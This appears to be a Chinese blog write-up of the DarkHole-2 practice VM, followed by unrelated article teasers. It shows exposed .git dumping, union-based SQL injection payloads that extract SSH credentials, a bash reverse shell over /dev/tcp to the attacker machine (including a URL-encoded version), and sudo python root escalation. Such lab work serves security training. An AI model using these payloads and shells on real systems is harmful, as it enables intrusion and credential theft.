Neos的渗透测试靶机练习——DarkHole-2

DarkHole-2

    • 一、实验环境
    • 二、开始渗透
      • 1. 搜集信息
      • 2. git文件泄露
      • 3. SQL注入
      • 4. 提权
    • 三、总结


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)

靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
切换为root权限
输入ifconfig查询自身ip,即攻击机ip
查自身ip
可以看到自身ip192.168.56.101
输入arp-scan -l扫描本网段存活主机,即靶机ip地址
靶机ip
可以看到靶机ip192.168.56.105,。
输入nmap -sV -p- 192.168.56.105扫描靶机所有端口开放情况
靶机端口
可以看到端口22、80是开放的。
浏览器输入192.168.56.105:80。
dh-2

命令行输入whatweb 192.168.56.105查询网站指纹信息
网站指纹
没什么关键信息。
输入dirsearch -u http://192.168.56.105,扫描网站目录。
扫描结果
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper
先下载安装pip install git-dumper,然后输入git-dumper http://192.168.56.105/.git/ neosHack将源代码导入本地neosHack目录中。
在这里插入图片描述

2. git文件泄露

我们进入该目录,输入git log查看日志。
在这里插入图片描述
发现有三次提交记录,我们使用git diff命令挨个查看三次提交在哪里修改过代码。
在这里插入图片描述
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户lush@admin.com密码321
我们使用这个账号重新登陆页面。
在这里插入图片描述
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。

3. SQL注入

1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1?id=1 and 1=2,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点
添加单引号:?id=1',页面空白,重新添加双引号:?id=1",页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数
构造参数:?id=1' order by 6 -- neos,正常显示,当order by 7时页面空白,说明数据表为6列。
4)测试回显位
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos,发现回显位为2,3,5,6号位。
在这里插入图片描述
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neos在这里插入图片描述
我们在对应的回显位分别测出了数据库名版本数据库的安装路径数据库文件的存放路径
2>测数据表名
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
在这里插入图片描述
测出了数据库darkhole_2有两个数据表sshusers
3>测属性名
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos,发现该表有三个属性名id、pass、user
在这里插入图片描述
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos得知那个没显示全的属性名为CURRENT_CONNECTIONS
在这里插入图片描述
4>测数据项
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos,发现只有一个用户jehad,密码为fool
在这里插入图片描述
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos,发现依然只有一个用户。
在这里插入图片描述
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
在这里插入图片描述

4. 提权

sudo -lfind / -perm -u=s -type f 2>/dev/null没发现什么可以提权的地方。
我们继续输入cat .bash_history查看历史文件,发现9999端口是有服务的。
在这里插入图片描述
我们输入ss -antp,查看socket信息,发下9999端口确实有活动信息。
在这里插入图片描述
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy
在这里插入图片描述
输入curl "http://127.0.0.1:9999/?cmd=whoami",发现9999端口可以以losy的权限执行命令:
在这里插入图片描述
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh jehad@192.168.56.105 -L 9999:localhost:9999
在这里插入图片描述
本地监听nc -lvvp 4444
在这里插入图片描述
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1',对其进行URL编码。
在这里插入图片描述
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27,成功反弹losy的shell。
在这里插入图片描述
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
在这里插入图片描述
我们ssh登陆losy用户,
在这里插入图片描述
发现可以以root执行python,
在这里插入图片描述
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")',成功提权到root,并在/root目录下发现flag!!!
在这里插入图片描述
至此,渗透结束。


三、总结

本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/343325.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

IMX6ULL|input子系统(按键实验)

一.input子系统 input子系统是Linux对输入设备提供的统一驱动框架。如按键、键盘、触摸屏和鼠标等输入设备的驱动方式是类似的,当出现按键、触摸等操作时,硬件产生中断,然后CPU直接读取引脚电平,或通过SPI、I2C等通讯方式从设备的…

C#,入门教程(35)——哈希表(Hashtable)的基础知识与用法

上一篇: C#,入门教程(34)——关于函数的参数之引用(ref)的一点知识与源程序https://blog.csdn.net/beijinghorn/article/details/125411351 有一段故事: King Log The frogs in the lake had an easy life doing ex…

npm ERR! code CERT_HAS_EXPIRED npm ERR! errno CERT_HAS_EXPIRED

npm install时报错code CERT_HAS_EXPIRED 一、报错情况二、解决方案 一、报错情况 一直用的好好的,突然今天发现npm install 出问题了,具体报错如下: npm ERR! code CERT_HAS_EXPIRED npm ERR! errno CERT_HAS_EXPIRED npm ERR! request to…

不要为了学习而学习

经常有朋友问我: 老师,从您这里学了很多方法,也一直想要改变自己,但总是没办法坚持下去,怎么办? 这个问题,我也很无奈啊。毕竟我也没办法飞到你身边,手把手把每一步都教给你。&…

MySQL-B-tree和B+tree区别

B-tree(平衡树)和Btree(平衡树的一种变种)是两种常见的树状数据结构,用于构建索引以提高数据库的查询性能。它们在一些方面有相似之处,但也有一些关键的区别。以下是B-tree和Btree的主要区别: …

你知道Mysql的架构吗?

msyql分为server曾和存储引擎层 server层包括了连接器(管理连接,权限验证)、查询缓存(命中直接返回结果)、分析器(词法分析,语法分析)、优化器(执行计划生成,索引选择)、…

【揭秘】ScheduledThreadPoolExecutor全面解析

内容摘要 ScheduledThreadPoolExecutor能够高效地管理和复用线程资源,避免了大量线程的创建和销毁开销,从而提升了系统性能,同时,它提供了灵活的任务调度机制,支持延迟执行和固定频率执行,满足了各种复杂场…

idea创建公用依赖包项目

创建parent项目 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/…

linux之安装配置VM+CentOS7+换源

文章目录 一、centos07安装二、CentOS 07网络配置2.1解决CentOS 07网络名不出现问题此博主的论文可以解决2.2配置&#xff08;命令: 【ip a】也可查看ip地址&#xff09; 三、使用链接工具链接CentOS进行命令控制四、换软件源 一、centos07安装 1、在vmvare中新建虚拟机 2、下…

【K8S 云原生】K8S之HPA自动扩缩容、命名空间资源限制、容器抓包

目录 一、HPA概述 1、概念 2、两个重要的组件&#xff1a; 3、HPA的规则&#xff1a; 4、pod的副本数扩容有两种方式&#xff1a; 4.1、手动扩缩容&#xff0c;修改副本数&#xff1a; 4.2、自动扩缩容HPA 二、实验部署&#xff1a; 1、部署HPA 2、实现自动扩缩容 三…

【多商户开源-BSD- Fecmall 电商平台】

关于Fecmall Fecmall 关于&#xff0c;Fecmall介绍 Fecbbc开源BSD多商户系统&#xff0c;真正开源&#xff0c;商用免费授权的多商户系统 Fecmall系统简介&#xff1a; 全称为Fancy ECommerce Shop&#xff0c; 着重于电商架构的研发优化&#xff0c;全新定义商城的架构体系&…

【RF FILTER 仿真】滤波器 Ansys Electronics not ADS

第一&#xff0c;声明 全网搜索&#xff0c;用这个HFSS继承的介绍非常少&#xff0c;并且没有什么指导意义。所以有必要写一下&#xff0c;就像之前的xpedition,总要挑战一下吧。本文仅仅和大家学习研究&#xff0c;对比ADS体会一下差别。 第二&#xff0c;记录直接开始&…

【Maven从入门到如土】Maven 核心程序解压和配置

个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名大三在校生&#xff0c;喜欢AI编程&#x1f38b; &#x1f43b;‍❄️个人主页&#x1f947;&#xff1a;落798. &#x1f43c;个人WeChat&#xff1a;hmmwx53 &#x1f54a;️系列专栏&#xff1a;&#x1f5bc;️…

算法题解析与总结(二)

题目要求 路径 被定义为一条从树中任意节点出发&#xff0c;沿父节点-子节点连接&#xff0c;达到任意节点的序列。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给你一个二叉树的根…

抖音哪些方法不违规还能导流到微信?

抖音作为当前最热门的短视频应用之一&#xff0c;其日活跃用户已经超过6亿。仅仅在抖音上玩乐是不够的&#xff0c;如果你想通过抖音赚钱&#xff0c;你需要掌握如何有效地引流。目前&#xff0c;微信是私域流量的最佳载体&#xff0c;因为它是一个成熟且庞大的生态系统&#x…

【工具】使用ssh进行socket5代理,ssh端口转发

文章目录 shellssh命令详解正向代理&#xff1a;反向代理&#xff1a;本地 socks5 代理 ssh端口转发开启 shell ssh -D 3333 root192.168.0.11 #输入密码 #3333端口已经使用远程机进行转发设置Windows全局代理转发 socks127.0.0.1 3333如果远程机为公网ip&#xff0c;可通过…

消息中间件之RocketMQ事务消息流程(二)

所谓事务消息就是基于消息中间件模拟的两阶段提交(2PC)&#xff0c;属于对消息中间件的一种特殊利用。总体思路如下: 1.系统A先向消息中间件发送一条预备消息(Half Message)&#xff0c;消息中间件在保存好消息之后向系统A发送确认消息 2.系统A执行本地事务 3.系统A根据本地事务…

CPU 如何识别用户空间不同进程的虚拟地址

前言 一个疑问&#xff1a;CPU 运行两个 test.out 进程&#xff0c;使用的是各自进程的虚拟地址&#xff0c;那 CPU 是如何识别出当前这个虚拟地址是属于哪个进程的&#xff1f;带着这个疑问&#xff0c;我们一起开始今天的探索 如上图&#xff0c;CPU 是如何知道 0x4785c4 这…

docker设置代理解决内网pull外网镜像

目录 Docker 配置代理的缘由 通过dockerd配置实现代理 通过container配置实现代理 参考文献 Docker 配置代理的缘由 如何在内网环境内环境内Pull外网registry&#xff0c;或者反过来想要Pull公司Registry镜像&#xff1f;存在上述需求的朋友可以尝试以下方法进行docker代理…

《小学生作文辅导》期刊投稿邮箱

《小学生作文辅导》是国家新闻出版总署批准的正规教育类期刊&#xff0c;适用于全国各小学语文老师事业单位及个人&#xff0c;具有原创性的学术理论、工作实践、科研成果和科研课题及相关领域等人员评高级职称时的论文发表&#xff08;单位有特殊要求除外&#xff09;。 栏目…